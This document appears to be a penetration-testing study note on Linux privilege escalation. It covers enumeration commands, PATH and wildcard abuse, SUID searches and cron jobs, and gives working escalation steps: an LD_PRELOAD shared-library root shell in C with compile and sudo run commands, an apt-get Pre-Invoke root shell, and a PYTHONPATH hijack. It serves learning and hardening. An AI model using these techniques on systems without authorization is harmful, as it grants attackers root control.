Linux Privilege Escalation
This post explains the process of enumerating a linux system in order to find paths to escalate privileges.
Overiview
Automated tools
Manual - General things
These are the general things we will be enumerating in the process below
OS
- OS Version
- Kernel Version
Services
- Running Services:
ps aux | grep root
- Installed Packages and Versions
User
whoami
,id
,hostname
- User Home Directories
- Sudo Privileges:
sudo -l
Files & Directories
- Configuration files:
.conf
&.config
- Readable Shadow File
- Password Hashes in
/etc/passwd
(more common on embedded devices and routers) - Writeable Directories
- Writeable Files
- SETUID and SETGID Permissions
Cron Jobs
- Under:
/etc/cron*
File Systems
- Unmounted File System and Aditional Drivers
- File Systems & Additional Drives
Process of enumeration
1. Gaining Situational Awareness
whoami
id
hostname
cat /etc/os-release
echo $PATH
env
uname -a
lscpu
cat /etc/shells
lsblk # block devices
lpstat # printers
cat /etc/fstab
# network information
route
arp -a
cat /etc/passwd
cat /etc/passwd | cut -f1 -d: # usernames
grep "*$" /etc/passwd
cat /etc/group
getent group sudo
ls /home
# file systems
df -h
# unmounted fs
cat /etc/fstab | grep -v "#" | column -t
# hidden files for $USER
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep $USER
# setuid files
find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
# setgid files
find / -uid 0 -perm -6000 -type f 2>/dev/null
# hidden directories
find / -type d -name ".*" -ls 2>/dev/null
ls /var/tmp # data retained 30 days
ls /tmp # data retained 10 days or until system reboot
2. Linux Services & Internals Enumeration
ip a
cat /etc/hosts
lastlog # users's last login command
who # check who's logged in
finger
history
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null
# finding history files
# Cronjobs
ls -la /etc/cron.*/
cat /etc/crontab
# writeable files (check for cronjob abuse)
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
# proc filesystem is a virtual fs that contains info about system processes, hw, system info
find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list # list of installed packages
sudo -V # sudo version
ls -l /bin /usr/bin/ /usr/sbin/ # list of binaries
# compare available binaries against GTFO
for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/
# analyze system calls and signal processing
strace ping -c1 IP
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null # configuration files
# Scripts
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
ps aux | grep root
# running services by user
3. Credential Hunting
Environment-based Privilege Escalation
PATH Abuse
What you need:
- A higher-privileged process that:
- Executes a command without absolute path (e.g., just
ls
,script
, etc.). - Has a modifiable PATH that you can influence (via environment variables, init scripts, or misconfigurations).
- Executes a command without absolute path (e.g., just
- Write access to a directory preceding the legit binary path (e.g., if your dir is before
/usr/bin
in PATH).
Realistic scenarios:
- Misconfigured cron jobs or systemd services running as root with
PATH=.
or a PATH that includes writable dirs (e.g.,/tmp
,/home/user/bin
). - SUID binaries or scripts calling other binaries using relative names.
- Users with sudo rights on scripts that don’t sanitize environment (especially
env_reset
is disabled insudoers
).
How to check the cronjob’s PATH:
Look for PATH=
in:
/etc/crontab
- Files under
/etc/cron.d/*
Example:
cat /etc/crontab | grep PATH
Wildcard Abuse
A wildcard character can be used as a replacement for other characters and are interpreted by the shell before other actions. Examples of wild cards include:
Character | Significance |
---|---|
* |
An asterisk that can match any number of characters in a file name. |
? |
Matches a single character. |
[ ] |
Brackets enclose characters and can match any single one at the defined position. |
~ |
A tilde at the beginning expands to the name of the user home directory or can have another username appended to refer to that user’s home directory. |
- |
A hyphen within brackets will denote a range of characters. |
Permissions-based Privilege Escalation
Special Permissions
setuid files
find / -user root -perm -4000 -exec ls -ldb {} \; **2**>/dev/null
find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
setgid files
find / -uid 0 -perm -6000 -type f 2>/dev/null
https://linuxconfig.org/how-to-use-special-permissions-the-setuid-setgid-and-sticky-bits
Serivce-based Privilege escalation
Cron Jobs
We can confirm that a cron job is running using pspy, a command-line tool used to view running processes without the need for root privileges. We can use it to see commands run by other users, cron jobs, etc. It works by scanning procfs.
The -pf
flag tells the tool to print commands and file system events and -i 1000
tells it to scan procfs every 1000ms (or every second).
./pspy64 -pf -i 1000
GTFOBins
The GTFOBins project is a curated list of binaries and scripts that can be used by an attacker to bypass security restrictions. Each page details the program’s features that can be used to break out of restricted shells, escalate privileges, spawn reverse shell connections, and transfer files. For example, apt-get
can be used to break out of restricted environments and spawn a shell by adding a Pre-Invoke command:
frang4@htb[/htb]$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh# iduid=0(root) gid=0(root) groups=0(root)
If we have sudo
over a GTFOBins it’s very likely that we can escalate privileges
Linux Internals-based P.E
Kernel Exploits
These leverage vulnerabilities in the kernel to execute code with root privileges. It is very common to find systems that are vulnerable to kernel exploits. It can be hard to keep track of legacy systems, and they may be excluded from patching due to compatibility issues with certain services or applications.
uname -a
cat /etc/lsb-release
Shared Libraries
Two types of libraries exist in Linux: static libraries
(denoted by the .a
file extension) and dynamically linked shared object libraries
(denoted by the .so
file extension). When a program is compiled, static libraries become part of the program and can not be altered. However, dynamic libraries can be modified to control the execution of the program that calls them.
The shared objects required by a binary can be viewed using the ldd
utility.
ldd /path/to/executable
LD_PRELOAD
LD_PRELOAD
is an environment variable used by the dynamic linker (ld.so). It tells the linker to load specific shared libraries before any others when starting a dynamic ELF binary.
Requisites
- Dynamically linked binary
- Binary is not setuid-root
- Sudo over binary
- Control over LD_PRELOAD (meaning there’s no
env_reset
)
Example
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Compile it
gcc -fPIC -shared -o root.so root.c -nostartfiles
Execute it with LD_PRELOAD
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
Shared Object Hijacking
Both shared object and shared libraries refer to the same kind of files, .so
libraries.
The difference is between attack techniques:
- One abuses the program’s normal dependency chain (Shared Object Hijacking).
- The other abuses runtime injection with LD_PRELOAD.
In this case we would also use ldd
to identify objects used.
And then use readelf -d /binary/file | grep RUNPATH
Libraries in the RUNPATH
folder are given preference over other folders.
We can use the library shown in shared libraries for the same purpose.
Python Library Hijacking
PYTHONPATH
is an environment variable that indicates what directory (or directories) Python can search for modules to import.
# List contents of PYTHONPATH
python3 -c 'import sys; print("\n".join(sys.path))'
# Find module location
pip3 show <MODULE-NAME>
# Given this permissions as sudo (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3
# We can write the python path and hijack using a custom module from /tmp
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./myscript.py
Hardening
Security auditing tool
https://github.com/CISOfy/lynis
The main goals of Lynis include:
- Automated security auditing
- Compliance testing (e.g. ISO27001, PCI-DSS, HIPAA)
- Vulnerability detection